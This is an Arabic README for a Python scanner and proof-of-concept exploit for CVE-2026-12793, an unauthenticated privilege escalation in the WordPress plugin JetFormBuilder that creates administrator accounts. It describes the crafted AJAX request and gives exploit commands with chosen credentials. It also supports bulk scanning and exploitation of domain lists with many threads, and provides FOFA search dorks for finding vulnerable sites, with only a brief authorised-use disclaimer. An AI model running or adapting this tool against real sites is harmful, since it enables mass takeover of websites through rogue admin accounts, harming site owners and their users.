
ماسح PoC واستغلال بلغة Python للثغرة CVE-2026-12793، وهي تصعيد صلاحيات غير مُصادَق عليه في JetFormBuilder <=3.6.2 يؤدي إلى إنشاء حسابات مسؤول WordPress.
أداة فحص وإثبات مفهوم (Proof-of-concept) لاستغلال CVE-2026-12793 في إضافة ووردبريس JetFormBuilder — Dynamic Blocks Form Builder (Crocoblock).
| CVE | CVE-2026-12793 |
| الإضافة | jetformbuilder |
| المتأثرة | ≤ 3.6.2 |
| تم الإصلاح في | 3.6.2.1+ |
| CVSS | 9.8 حرج |
| المصادقة | غير مُصادَق عليه |
| CWE | CWE-269 — إدارة صلاحيات غير صحيحة |
| الباحث | daroo (Wordfence) |
لا تتحقق الإضافة من أن _jet_engine_booking_form_id يشير إلى نوع منشور مخصص jet-form-builder منشور قبل تحميل محتوى الكتلة للمنشور المُشار إليه كمخطط نموذج وتنفيذ إجراءات ما بعد الإرسال.
يمكن لمهاجم غير مُصادَق عليه إرسال طلب AJAX مُصمَّم لتفعيل إجراء Register User (wp_insert_user) وإنشاء حساب ووردبريس جديد. إذا كان النموذج المستهدف مُهيَّأً بشكل خاطئ بدور مرتفع الصلاحيات (مثل administrator)، فإن ذلك يؤدي إلى السيطرة الكاملة على الموقع.
1. Detect JetFormBuilder + version ≤ 3.6.2 (readme.txt)
2. Discover form ID from public pages (data-form-id, /register/, etc.)
3. POST to referer page with ?jet_form_builder_submit=submit&method=ajax
4. Register User action runs → new WP user created
Block_Helper::is_valid_form_post() — يتم قبول فقط jet-form-builder CPT المنشورForm_Handler::set_form_id() يرفض معرّفات النماذج غير الصالحةwp_insert_user / wp_update_user كدوال استدعاء)requestspip install requests urllib3
python poc.py -u https://target.example --mode check
python poc.py --list domains.txt --mode check --threads 30 --quiet
صيغ الإدخال: نطاق/رابط واحد لكل سطر، أو FOFA CSV (host,domain)، أو candidates.jsonl من تشغيل سابق.
python poc.py -u https://target.example --mode exploit \
--form-id 1858 \
--page-url /register/ \
--fields login=cadastro_nome,email=cadastro_mail,password=cadastro_senha \
--username myuser \
--email [email protected] \
--password 'SecurePass123!' \
--verify
python poc.py --list candidates.jsonl --mode exploit --threads 10 --verify
| الملف | المحتوى |
|---|---|
hits.txt |
{
"target": "https://target.example",
"version": "3.3.3",
"form_id": 1858,
"page_url": "https://target.example/register/",
"fields": {
"login": "user_login",
"email": "user_email",
"password": "user_pass"
}
}
أسماء الحقول المكتشفة تلقائياً هي استكشافية. تحقق دائماً واستبدلها بـ
--fieldsقبل الاستغلال.
body="/wp-content/plugins/jetformbuilder/"
body="jet-form-builder" && body="wp-content"
header="/wp-content/plugins/jetformbuilder/"
title="WordPress" && body="data-form-id"
فحص الإصدار:
/wp-content/plugins/jetformbuilder/readme.txt
ابحث عن Stable tag: ≤ 3.6.2.
تُقدَّم هذه الأداة لاختبارات الأمان المُصرَّح بها والأغراض التعليمية فقط. الوصول غير المُصرَّح به إلى أنظمة الحاسوب غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.
MIT
| الخيار | الوصف |
|---|
-u, --url | رابط هدف واحد |
--list | ملف قائمة الأهداف |
--mode | check (افتراضي) أو exploit |
--form-id | معرّف منشور نموذج JetFormBuilder المعروف |
--page-url | الصفحة التي تحتوي على النموذج (referer)، مثل /register/ |
--fields | خريطة الحقول: login=x,email=y,password=z |
--paths | مسارات إضافية للزحف بحثاً عن النماذج |
--username / --email / --password | بيانات الاعتماد للاستغلال (عشوائية إذا حُذفت) |
--verify | التحقق من الحساب عبر wp-login.php بعد الإرسال |
-j, --threads | خيوط العمل (افتراضي: 20) |
--timeout | مهلة HTTP بالثواني (افتراضي: 20) |
--proxy | رابط وكيل HTTP(S) |
--output | سجل JSONL كامل (افتراضي: cve_2026_12793_results.jsonl) |
--vuln-list | قائمة الإصابات (افتراضي: hits.txt) |
--candidates-list | JSONL المرشحين (افتراضي: candidates.jsonl) |
-q, --quiet | إخراج التقدم فقط |
| روابط الأهداف المعرّضة للثغرة / المستغلة |
candidates.jsonl | الأهداف التي يمكن الوصول إليها عبر استكشاف Register User (form_id, page_url, fields) |
cve_2026_12793_results.jsonl | نتائج JSON كاملة لكل هدف |